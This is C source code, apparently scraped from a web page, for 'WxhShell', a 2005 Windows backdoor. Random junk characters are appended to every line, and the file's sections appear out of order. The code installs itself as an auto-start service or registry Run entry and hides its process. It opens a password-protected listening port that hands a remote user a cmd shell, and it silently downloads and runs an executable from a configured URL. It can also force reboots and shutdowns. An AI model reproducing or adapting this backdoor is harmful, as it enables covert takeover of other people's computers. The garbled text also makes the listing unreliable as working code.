    if(Boot(SHUTDOWN)) w@.E}%bwq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >9F,=63A  
    else { #@Zz Bf  
    closesocket(wsh); jN 5Hku[?  
    ExitThread(0); :^3MN  
    } CBs0>M/  
    break; y .S0^  
    } WDY,?  
  // 获取shell sqei(OXy  
  case 's': { %S$`cp  
    CmdShell(wsh); u q:>g  
    closesocket(wsh); s}`ydwSg8  
    ExitThread(0); 2y#4rl1Utx  
    break; 9Z6] ];8E  
  } E92dSLhs5  
  // 退出 =i Rc&  
  case 'x': { wX#=l?,K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~!,'z  
    CloseIt(wsh); `9s5 *;Z  
    break; x<P$$G/  
    } Q)C#)|S  
  // 离开 Sq UoXNw  
  case 'q': { Bb]pUb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =! 9+f  
    closesocket(wsh); eq "a)QB3m  
    WSACleanup(); so8isDC'9  
    exit(1); 0DIaXdOdW+  
    break; aoco'BR F  
        } y{s?]hLk  
  } N3MMxm_u  
  } ' >`?T}a,  
m!|u{<,R  
  // 提示信息 {w(6Tc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E[Tz%x=P  
} 8K]fw{-$L  
  } gr4Hh/V  
7sC$hm]  
  return; :'f#0ox  
} +yVz ) X  
^uMy|d  
// shell模块句柄 uz&CUvos  
int CmdShell(SOCKET sock) oS/<)>\Gv  
{ KU"? ZI  
STARTUPINFO si; 9|D!&=8   
ZeroMemory(&si,sizeof(si)); :7e2O!zH_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <o3e0JCq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iPa!pg4m  
PROCESS_INFORMATION ProcessInfo; 37v!:xF!  
char cmdline[]="cmd"; 3K@dW"3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AJiEyAC!)5  
  return 0; pOyM/L   
} &AU%3b  
.D-}2<z  
// 自身启动模式 z/.x*A=  
int StartFromService(void) pez[qs  
{ TixH Ehw  
typedef struct U!XC-RA3 _  
{ w_ kHy_)  
  DWORD ExitStatus; KX"?3#U#Fm  
  DWORD PebBaseAddress; Lf3Ri/@ p  
  DWORD AffinityMask; d?oupW}uu  
  DWORD BasePriority; {[jcT>.3j  
  ULONG UniqueProcessId; >e/;  
  ULONG InheritedFromUniqueProcessId; zg.'  
}   PROCESS_BASIC_INFORMATION; hWJ\dwF  
%+L:Gm+^g#  
PROCNTQSIP NtQueryInformationProcess; T@U_;v|rf  
2L[/.|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /j0<x^m/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1/j J;}  
9b``l-rO  
  HANDLE             hProcess; O/e5LA  
  PROCESS_BASIC_INFORMATION pbi; "6[' !rq0  
0F8y8s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \;&j;"c,W  
  if(NULL == hInst ) return 0; YjdCCju  
WB'&W=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [uT& sZxmg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >~){KV1~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N|O/3:P<,U  
(x@|6Sb  
  if (!NtQueryInformationProcess) return 0; p(8H[L4Y  
%C" wUAY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t.t$6+"5We  
  if(!hProcess) return 0; T\:Vu{|  
|#D3~au   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "o*(i7T=n  
`{c %d  
  CloseHandle(hProcess); a9j f7r1  
\l?\%aqm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -8-  
if(hProcess==NULL) return 0; !X$e;V"HX  
6%sX<)n%]  
HMODULE hMod; T6=,A }t-  
char procName[255]; oTS*k: C'  
unsigned long cbNeeded; (TM1(<j  
(n;#Z,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wS-D"\4/  
_Jx.?8  
  CloseHandle(hProcess); U$Z)v1&{  
wb~#=6Y  
if(strstr(procName,"services")) return 1; // 以服务启动 \XFF(  
wHq*)7#h#  
  return 0; // 注册表启动 {'C PLJ{R  
} FloCR=^H  
bCHJLtDQ  
// 主模块 &}_ $@  
int StartWxhshell(LPSTR lpCmdLine) )D\!#<#h  
{ [`Seh$  
  SOCKET wsl; ,#W>E,UU  
BOOL val=TRUE; u&z5)iU  
  int port=0; BF{v0Z0/}k  
  struct sockaddr_in door; ?9'Ukw` g  
0}}b\!]9  
  if(wscfg.ws_autoins) Install(); \CNv,HUm3  
m>B^w)&C  
port=atoi(lpCmdLine); {Z%4Pg  
MKzIY:u g  
if(port<=0) port=wscfg.ws_port; .Y|5i^i9{  
C +S  
  WSADATA data; )F*;7]f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :ZX#w`Y  
= i9|lU"Va  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ox9WH4E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qp$Td<'Y  
  door.sin_family = AF_INET; 8 :B(}Y4K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *{[jO&& J  
  door.sin_port = htons(port); 9>?3FMKdY  
)RV.N}NU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <*k]Aa3y  
closesocket(wsl); uU_lC5A|  
return 1; ;%wQnhg  
} *%'nlAX6%  
KYBoGCS>  
  if(listen(wsl,2) == INVALID_SOCKET) { 6?\X)qBI  
closesocket(wsl); 0} v_usP  
return 1; $p? gai{o  
} Cn+'!?!d,  
  Wxhshell(wsl); 0*$?=E  
  WSACleanup(); Q #!|h:K  
T6_LiB @  
return 0; _UU-  
vt8z=O  
} 6j uNn}  
H|@R+  
// 以NT服务方式启动 $}_a`~u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vk;]9o j*  
{ qcpAjjK  
DWORD   status = 0; a2Q_K2t  
  DWORD   specificError = 0xfffffff; 4FLL*LCNX  
+'aG&^k4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (b!`klQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <;)qyP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rf*cW&}%  
  serviceStatus.dwWin32ExitCode     = 0; v:.`~h/b  
  serviceStatus.dwServiceSpecificExitCode = 0; MYI*0o;  
  serviceStatus.dwCheckPoint       = 0; j !m42  
  serviceStatus.dwWaitHint       = 0; >Vp #   
~t0\Q; @($  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *F[;D7sZ~  
  if (hServiceStatusHandle==0) return; +7%}SV 2)  
4l)Q  
status = GetLastError(); |a! y%R=  
  if (status!=NO_ERROR) \ct7~!qM  
{ ;F3#AO4(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZDffR: An  
    serviceStatus.dwCheckPoint       = 0; Km/#\$|}  
    serviceStatus.dwWaitHint       = 0; nG B jxhl  
    serviceStatus.dwWin32ExitCode     = status; tUzef  
    serviceStatus.dwServiceSpecificExitCode = specificError; H!6nIS9yxt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .MUoNk!  
    return; ..u2IdEu  
  } gFBMARxi  
7Qoy~=E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  a@mMa {  
  serviceStatus.dwCheckPoint       = 0; %v)m&VUi%  
  serviceStatus.dwWaitHint       = 0; Fke_ms=I^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bIs@CDB  
} LS(J%\hMDm  
dJ/(u&N  
// 处理NT服务事件,比如:启动、停止 -`d9dJ dB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H<YhO&D*u  
{ Ic!8$NhRS  
switch(fdwControl) L"Vi:zdp  
{ T1Gy_ G/  
case SERVICE_CONTROL_STOP: ;_]Z3  
  serviceStatus.dwWin32ExitCode = 0; e3YdHp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I{rW+<)QGC  
  serviceStatus.dwCheckPoint   = 0; @20~R/vh  
  serviceStatus.dwWaitHint     = 0; &i/QFO7y}  
  { cwK+{*ZH/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;`p!/9il  
  } dF (m!P/R  
  return; Lc0yLm  
case SERVICE_CONTROL_PAUSE: xW hi>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a d,0*(</  
  break; iD/r8_}  
case SERVICE_CONTROL_CONTINUE: wfE%` 1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z{#;my*X|  
  break; PR{y84$  
case SERVICE_CONTROL_INTERROGATE: 3jaY\(`%h  
  break; =5 zx]N1r  
}; 6X1_NbC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,sn/FT^; q  
} +[2X@J  
OvFWX%uY  
// 标准应用程序主函数 hp:8e@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |izf|*e  
{ LEM^8G]O  
ptcG:  
// 获取操作系统版本 ;?-`n4B&  
OsIsNt=GetOsVer(); gp?|UMA9 .  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JE[+  
>mWu+Nn:  
  // 从命令行安装 ohy?l  
  if(strpbrk(lpCmdLine,"iI")) Install(); IQ9jTkW l  
ku`bwS  
  // 下载执行文件 J&<uP)<  
if(wscfg.ws_downexe) {  4hzS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o{QU?H5h  
  WinExec(wscfg.ws_filenam,SW_HIDE); GiF})e}  
} 02_37!\  
vU|.Gw  
if(!OsIsNt) { %uVbI'n)  
// 如果时win9x,隐藏进程并且设置为注册表启动 dE[_]2];P  
HideProc(); @Z50S 8  
StartWxhshell(lpCmdLine); Gkfc@[Z V  
} -_>g=a@&  
else !edgziuO  
  if(StartFromService()) DJm/:td  
  // 以服务方式启动 t G{?  
  StartServiceCtrlDispatcher(DispatchTable); /nX+*L}d/  
else *C0gpEf9S  
  // 普通方式启动 qL\*rYe<  
  StartWxhshell(lpCmdLine); cv'Fc  
o}iqLe\  
return 0; s\-^vj3  
} N$j I&SI?}  
[xVE0l*\   
 ;7F|g  
H$ sNp\[{  
=========================================== 4]\t6,Cz8  
9hG+?   
B-OuBS,fwC  
T21SuM  
0H V-e  
CwV1~@{-  
" Z_^v#FJ'l  
yL&_>cV  
#include <stdio.h> u D.E>.B  
#include <string.h> ;-G!jWt6Zi  
#include <windows.h> qwb`8o  
#include <winsock2.h> oc2aE:>X  
#include <winsvc.h> x%;Q /7&$  
#include <urlmon.h> mndUQN_Gb  
EmDA\9~@R  
#pragma comment (lib, "Ws2_32.lib") 0shNwV1zF  
#pragma comment (lib, "urlmon.lib") wFW2m  
Efb S*f5  
#define MAX_USER   100 // 最大客户端连接数 P7Th 94  
#define BUF_SOCK   200 // sock buffer WAj26";M(  
#define KEY_BUFF   255 // 输入 buffer y %k`  
'(/ZJ88JP  
#define REBOOT     0   // 重启 ,H3C\.%w\  
#define SHUTDOWN   1   // 关机 .2xp.i{  
!n`ogzOh  
#define DEF_PORT   5000 // 监听端口 jH*+\:UP-  
VesO/xG<  
#define REG_LEN     16   // 注册表键长度 o3;u*f0rWn  
#define SVC_LEN     80   // NT服务名长度 X-Sso9/q.  
EO|r   
// 从dll定义API ))n7.pB9/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o(W|BD!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mne^P SI:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?-FSDNQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]`D(/l'  
|wf:|%  
// wxhshell配置信息 zS:89y<  
struct WSCFG { lPS A  
  int ws_port;         // 监听端口 t9&z|?Vz  
  char ws_passstr[REG_LEN]; // 口令 E(T6s^8  
  int ws_autoins;       // 安装标记, 1=yes 0=no xNNoB/DR  
  char ws_regname[REG_LEN]; // 注册表键名 ta+'*@V +G  
  char ws_svcname[REG_LEN]; // 服务名 M} IRagm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6'Sc=;;:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }lgqRg)F9[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X$O,L[] 4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9?*BN\E5S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'aB0abr|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o} #nf$v(  
9Byk/&$U  
}; Z`xz|:D+  
PL8{|Q  
// default Wxhshell configuration ~'WvIA (  
struct WSCFG wscfg={DEF_PORT, ufdC'2cp8  
    "xuhuanlingzhe", tR5zlm(}  
    1, TJ9,c2d+  
    "Wxhshell", _%s_w)  
    "Wxhshell", B{ NKDkDH  
            "WxhShell Service", ,q#^ _/?  
    "Wrsky Windows CmdShell Service", ]xfAdBi  
    "Please Input Your Password: ", s,^?|Eo;0  
  1, O0xL;@rBe  
  "http://www.wrsky.com/wxhshell.exe", x5m .MQ J  
  "Wxhshell.exe" 's$pr#V  
    }; SVp]}!jI  
0k5Z l?  
// 消息定义模块 xPh%?j?*v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +G&h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ( $3j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'uUp1+  
char *msg_ws_ext="\n\rExit."; v@k62@;  
char *msg_ws_end="\n\rQuit."; ~?vm97l  
char *msg_ws_boot="\n\rReboot..."; :~^ec|tp  
char *msg_ws_poff="\n\rShutdown..."; qy@gW@IU  
char *msg_ws_down="\n\rSave to "; |xH"Xvp:  
J`O4]XRY  
char *msg_ws_err="\n\rErr!"; 1!\!3xaV  
char *msg_ws_ok="\n\rOK!"; )J_!ZpMC  
rsf A.o  
char ExeFile[MAX_PATH]; K0]'v>AWr  
int nUser = 0; OgrUP  
HANDLE handles[MAX_USER]; ;T6^cS{Gj  
int OsIsNt; v,RLN`CID  
2 c'=^0:  
SERVICE_STATUS       serviceStatus; ^h^2='p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +byw*Kk  
!23W=N}82  
// 函数声明 ,ewg3mYHC&  
int Install(void); G=3/PYp  
int Uninstall(void); dv%gmUUf}k  
int DownloadFile(char *sURL, SOCKET wsh); ~GfcI:Zz&  
int Boot(int flag); /,5`#Gte_  
void HideProc(void); >w9)c|  
int GetOsVer(void); q4 'x'8  
int Wxhshell(SOCKET wsl); bm1ngI1oI  
void TalkWithClient(void *cs); 5v~Y>  
int CmdShell(SOCKET sock); g_] u<8&  
int StartFromService(void); (k M\R|  
int StartWxhshell(LPSTR lpCmdLine); scqG$~O)  
C3 0b}2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .,,?[TI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D +)6#i Y  
P,iLqat  
// 数据结构和表定义 )X\.Xr-6q  
SERVICE_TABLE_ENTRY DispatchTable[] = 5DyN=[b  
{ c ~YD|l  
{wscfg.ws_svcname, NTServiceMain}, *^c4q|G.-  
{NULL, NULL} v !@/  
}; ItKwB+my  
1elcP`N1  
// 自我安装 ]qXHalHY  
int Install(void) FTCp3g  
{ )gR14a  
  char svExeFile[MAX_PATH]; Lj(hk @  
  HKEY key; )dF(5,y)  
  strcpy(svExeFile,ExeFile); A>>@&c:(  
P>pkLP} Vo  
// 如果是win9x系统,修改注册表设为自启动 [X^JV/R  
if(!OsIsNt) { v.6" <nT2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =]xNpX)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <$Uj ~jN  
  RegCloseKey(key); :`3b|u=KZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }jiqUBn%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9z'</tJ`  
  RegCloseKey(key); lbg6n:@  
  return 0; ~JLqx/[|s  
    } cw"x0 RS  
  } ![abDT5![  
} {,APZ`q|  
else { (^a;2j9  
z8Dn<h  
// 如果是NT以上系统,安装为系统服务 !kASEjFz|f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }~QB2&3  
if (schSCManager!=0) mSw OP  
{ 5Tu#o ()  
  SC_HANDLE schService = CreateService l`I]eTo)^  
  ( .[2MPjg  
  schSCManager, f[.hN  
  wscfg.ws_svcname, -&,NM  
  wscfg.ws_svcdisp, x0lX6 |D  
  SERVICE_ALL_ACCESS, ;%dkwKO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i'e^[oZ  
  SERVICE_AUTO_START, `Q(ac| 0  
  SERVICE_ERROR_NORMAL, Q^MB%L;D  
  svExeFile, 'b661,+d  
  NULL, yH#;k:O=  
  NULL, hD >:WJ  
  NULL, wmo'Pl  
  NULL,  QV .A.DK  
  NULL 5)$U<^uy  
  ); :-"J)^V  
  if (schService!=0) sWavxh8A  
  { ziH2<@  
  CloseServiceHandle(schService); j~Gu;%tq  
  CloseServiceHandle(schSCManager); bq(*r:`"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [PX'Jer  
  strcat(svExeFile,wscfg.ws_svcname); X'?v8\mPK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &2xYG{Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jh466; E  
  RegCloseKey(key); [0&Lvx  
  return 0; &/JnAfmYqt  
    } }(o/+H4  
  } LG<lZ9+y  
  CloseServiceHandle(schSCManager); _L$)~},cT  
} =r-Wy.a@  
} 3gabk/  
W^=89I4]  
return 1; er#we=h  
} \o % ES  
r`B+ KQ4  
// 自我卸载 e#nTp b  
int Uninstall(void) 3&y u  
{ 3@"VS_;?  
  HKEY key; iL,3g[g  
rXm!3E6JL  
if(!OsIsNt) { A\# ? rK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <BU|?T6~  
  RegDeleteValue(key,wscfg.ws_regname); 'h= >ej*  
  RegCloseKey(key); q!ZmF1sU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]#:xl}'LS  
  RegDeleteValue(key,wscfg.ws_regname); w x,;  
  RegCloseKey(key); q yJpm{  
  return 0; +z[!]^H]4  
  } .<NXk"\!y  
} qFs<s<]  
} I^ >zr.z A  
else { -+PPz?0  
^@19cU?q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =OHDp7GXO>  
if (schSCManager!=0) d.} rn"(z  
{ 8U(a&G6gn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S}< <jI-z  
  if (schService!=0) AQV3ZVP  
  { ncA2en?  
  if(DeleteService(schService)!=0) { y]CJOC)/K  
  CloseServiceHandle(schService); M^[ jA](a  
  CloseServiceHandle(schSCManager); qt:->yiq+  
  return 0; Wey\GQ`"8  
  } _$cBI_eA7  
  CloseServiceHandle(schService); HkV/+ {;S~  
  } ~%}g"|o  
  CloseServiceHandle(schSCManager); d:wAI|  
} 2 sOc]L:9  
} 4dok/ +Ec  
4[-9$ r  
return 1; )Z_i[1V  
} uB^]5sqfk  
nx +& {hn(  
// 从指定url下载文件 W1!eY,1}  
int DownloadFile(char *sURL, SOCKET wsh) "Jwz.,Y\  
{ jF5JpyOc  
  HRESULT hr; &%bX&;ECzf  
char seps[]= "/"; LPNv4lT[u  
char *token; |kd^]! _  
char *file; <qy+@t  
char myURL[MAX_PATH]; .iS]aJJ  
char myFILE[MAX_PATH]; xD#/@E1'Y  
.iYgRW=T  
strcpy(myURL,sURL); @t^ 2/H ?O  
  token=strtok(myURL,seps); <|_Ey)1 6  
  while(token!=NULL) JQ1VCG  
  { ?yU#'`q  
    file=token; zc{C+:3$^  
  token=strtok(NULL,seps); "D/ fB%h`  
  } 8`~]9ej  
Tc*PDt0C  
GetCurrentDirectory(MAX_PATH,myFILE); k^]~NP  
strcat(myFILE, "\\"); ;i:7E#@  
strcat(myFILE, file); ' #mC4\<W8  
  send(wsh,myFILE,strlen(myFILE),0); FV9RrI2  
send(wsh,"...",3,0); HkN +:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rta P+6'X  
  if(hr==S_OK) MDq@:t  
return 0; ,@;<u'1\G  
else *,pqpD>  
return 1; QezK&iJg  
?l(hS\N,  
} Q4PXC$u  
KJ~pY<a?  
// 系统电源模块 X ,   
int Boot(int flag) gn%"dfm  
{ G~]BC#nB_  
  HANDLE hToken; 3 /e !7  
  TOKEN_PRIVILEGES tkp; 1%+^SR72  
D5p22WY  
  if(OsIsNt) { FN R& :  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gkdjH8(2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3YRzBf:h  
    tkp.PrivilegeCount = 1; r__M1 !3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %Fv)$ :b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #?*jdN:  
if(flag==REBOOT) { d0^2<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +x2xQ8#|~~  
  return 0; P:v y  
} O+N-x8W{  
else { t]ZSo-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !jbjrzv9  
  return 0; T,fz/5w  
} z|2liQrf+  
  } ]3C8  
  else { V_pBM  
if(flag==REBOOT) { Vh8uE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5-*]PAC  
  return 0; 9wC; m:  
} Cw}\t!*!  
else { \) ;rOqh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X@)lPr$a  
  return 0; 2$91+N*w9  
} kYAvzuGRb  
} nGVqVSxKT  
9PAp*`J@kr  
return 1; UPYM~c+}  
} bq O"k t  
Kf4z*5Veqr  
// win9x进程隐藏模块 ?zEF?LJoK  
void HideProc(void) (AYD @  
{ 4=Ey\Px  
dq(x@&J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H.L@]~AyL  
  if ( hKernel != NULL ) `{Jb{L@f  
  { 0FOf *Lz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?MH4<7?"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ) YFs  
    FreeLibrary(hKernel); ^n/uY94E)p  
  } =+ p+_}C  
y6/X!+3+  
return; CkU=0mcY  
} q~n2VU4L*  
g&>Hy!v,  
// 获取操作系统版本 F?=u:  
int GetOsVer(void) 8##jd[o&p~  
{ 4lA+V,#  
  OSVERSIONINFO winfo; K^H t$04  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z"3c+?2  
  GetVersionEx(&winfo); (zBQ^97]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z3dd9m#.]  
  return 1; oK6lCGM5  
  else tOw 0(-:iq  
  return 0; x8Sq+BY  
} _LNPB$P  
7;NV 1RV  
// 客户端句柄模块 2#3R]zIO  
int Wxhshell(SOCKET wsl) y`\Mhnj  
{ 8GldVn.u  
  SOCKET wsh; >Il`AR;D  
  struct sockaddr_in client; 9f\8oJQ  
  DWORD myID; ^v-'=1ub?  
919g5f`  
  while(nUser<MAX_USER) QGd- 9UEA]  
{ p0K;m%  
  int nSize=sizeof(client); ~\ f^L?m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UsN b&aue  
  if(wsh==INVALID_SOCKET) return 1; lG9ARRy(=  
b U NYTF{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rLxX^[Fp3  
if(handles[nUser]==0) _GqE'VX  
  closesocket(wsh); 1!3kAcBP  
else +`8)U3u0  
  nUser++; fP58$pwu  
  } (, "E9.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Oq6n.:8g"  
T;@>O^  
  return 0; ]'(7T#  
} rzDJH:W{2  
4&e@>  
// 关闭 socket ?LI9F7n  
void CloseIt(SOCKET wsh) p8l#=]\ ;  
{ s.'\&B[  
closesocket(wsh); p;$9W+H0  
nUser--; : !3y>bP)  
ExitThread(0); Nl`ry2"<  
} C4]%pi  
2< Bv=B  
// 客户端请求句柄 @88i/ Z_  
void TalkWithClient(void *cs) vv/,Rgv  
{ ^z^e*<{WEl  
I!gj;a?R  
  SOCKET wsh=(SOCKET)cs; 9 w1ONw8v  
  char pwd[SVC_LEN]; PU5mz.&0'  
  char cmd[KEY_BUFF]; A@(h!Cq  
char chr[1]; T+RI8.#o  
int i,j; '*u;:[73  
\_nmfTr!K  
  while (nUser < MAX_USER) { F|TMpH/  
"R@N|Qx'  
if(wscfg.ws_passstr) { u=o"^   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @BUqQ9q:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AijTT%  
  //ZeroMemory(pwd,KEY_BUFF); $?AA"Nz  
      i=0; aLt{X)?  
  while(i<SVC_LEN) { }Xj_Y]T  
d~-p;i  
  // 设置超时 *)1Vs'!-  
  fd_set FdRead; Wxau]uix  
  struct timeval TimeOut; 4UjE*Aq  
  FD_ZERO(&FdRead); g)qnjeSs]  
  FD_SET(wsh,&FdRead); ^85n9a?8  
  TimeOut.tv_sec=8; 8zDH<Gb  
  TimeOut.tv_usec=0; {$YD-bqY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ih |Ky+!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F LI8r:  
p''"E$B/(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  F'FZ?*a  
  pwd=chr[0];  x9"4vp  
  if(chr[0]==0xd || chr[0]==0xa) { |qcFmy  
  pwd=0; M5WtGIV  
  break; zL`uiZl  
  } (0#F]""\e  
  i++; =4<S8Cp  
    } X|E+K  
rw[{@|)'z  
  // 如果是非法用户,关闭 socket A]Tcj^#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9<h]OXv  
} ds;cfj[  
nVn|$ "r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ywynx<Wg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kt,yn A  
34wM%@D*c  
while(1) { t-*|Hfp*^  
?4[Oh/]R  
  ZeroMemory(cmd,KEY_BUFF); SiqX1P  
}BdVD t  
      // 自动支持客户端 telnet标准   dIpW!Pj^  
  j=0; %m{.l4/!O  
  while(j<KEY_BUFF) { 1"&;1Ts  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6$s0-{^  
  cmd[j]=chr[0]; H9VXsFTW  
  if(chr[0]==0xa || chr[0]==0xd) { |\|)j>[i  
  cmd[j]=0; b>= Wq  
  break; >q@Sd  
  } MiH}VfI  
  j++; 6w"( y~c1  
    } @D~+D@i$TW  
'nWs0iH.  
  // 下载文件 2k}-25xxL  
  if(strstr(cmd,"http://")) { )w2K&Zr0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <2O7R}j7v  
  if(DownloadFile(cmd,wsh)) KBw9(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r<X4ER  
  else xDGS`U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); guOSO@  
  } o4 %Vt} K  
  else { ^+%tlX_+.  
f-3'D-{EKt  
